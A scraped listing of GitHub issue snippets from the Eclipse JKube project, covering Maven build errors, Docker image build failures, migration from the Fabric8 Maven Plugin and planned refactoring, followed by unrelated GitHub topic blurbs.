at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:566)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
[ERROR]
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
C:\workspace\quarkus-k8s-hello>
Create a migration guide for FMP users.
MIGRATION-GUIDE.md
Next steps:
Right now we do kubernetes-maven-plugin
and openshift-maven-plugin
. But we also need to provide equivalents for gradle since gradle is also very popular these days. We would first need to get #30 fixed in order to achieve this.
If you try to run the hello-world sample with mvn clean install k8s:build k8s:resource k8s:apply
the pod's status will show helloworld-5f9d89f5c4-npjz9 0/1 ImagePullBackOff 0 17h
as there is no docker image in the repository. The log says: Error from server (BadRequest): container "hello-world" in pod "helloworld-5f9d89f5c4-npjz9" is waiting to start: trying and failing to pull image
.
pom.txt
We need to release the project to maven central.
I'm seeing an issue building docker images with 1.0.0-alpha-1.
The pom + Dockerfile has no issues with fabric8 4.4.1.
[INFO] k8s: ---> d99a48de8998
[INFO] k8s: Step 9/10 : COPY target/my-service.jar my-service.jar
[INFO] k8s:
[ERROR] k8s: Failed to execute the build [Error while trying to build the image]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 5.812 s
[INFO] Finished at: 2020-04-13T15:23:49-04:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:kubernetes-maven-plugin:1.0.0-alpha-1:build (default-cli) on project my-service: Failed to execute the build: Error while trying to build the image: Unable to build image [myrepo.com:5100/com.xxx.xxxxx.xx/my-service:1.0] : "COPY failed: stat /var/lib/docker/tmp/docker-builder481246942/target/my-service.jar: no such file or directory" -> [Help 1]
Has anyone run across this?
In order to be able to use JKube as an external library, JKube kit should be completely decoupled from any Maven dependencies
jkube-kit-common
and replicate them in the projects where needed -> #44jkube-kit-common
to a separate "Maven only" project -> #44resource/service
"Jkube Kit :: Resource :: Service"org.eclipse.jkube.kit.config.service
in config/resource
to the new moduleCreate a contributing guideline (CONTRIBUTING.md
) documenting the process and rules to add contributions to our project.
Description:
I tried migrating from FMP 4.4.0 to JKube 0.2.0 and encountered an issue with tests run by Arquillian Cube. You can see from the gist for the output from the successful fmp run on line 140 that the Kubernetes configuration was successfully applied, while the gist for the output from the error in the JKube run on line 138 that the Kubernetes configuration could not be found that resulted in routes being unavailable as seen on line 163.
Reproducer:
You can use the repository at https://github.com/rdruss/vertx-http-example both to see the successful fmp run (use the master branch) as well as the errored JKube run (use the jkube branch). I used minishift as my OpenShift cluster and ran the tests with:
mvn clean verify -Popenshift,openshift-it
HelmMojo expects an additional Plexus dependency
java.lang.NoClassDefFoundError: org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection
If possible, refactor HelmMojo to be independent from Maven. Later on, implementation should be moved to JKube-Kit so it's reusable by other plugins, extensions, etc.
Documentation for jkube-kit-vertx
module seems to be incomplete.
Must add information about all available properties and configurations.
As of now, both Maven plugins (Openshift + Kubernetes) are just ports of Fabric8 Maven Plugin (FMP) with different names.
FMP provides functionality for both cluster brands. AS KMP is just a port of FMP, we can still see traces of OpenShift specifics in the codebase (e.g. s2i, openshiftPullSecret, openshiftDeployTimeoutSeconds...)
All of these properties and configurations should be moved to the appropriate plugin.
kubernetes-maven-plugin-doc
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.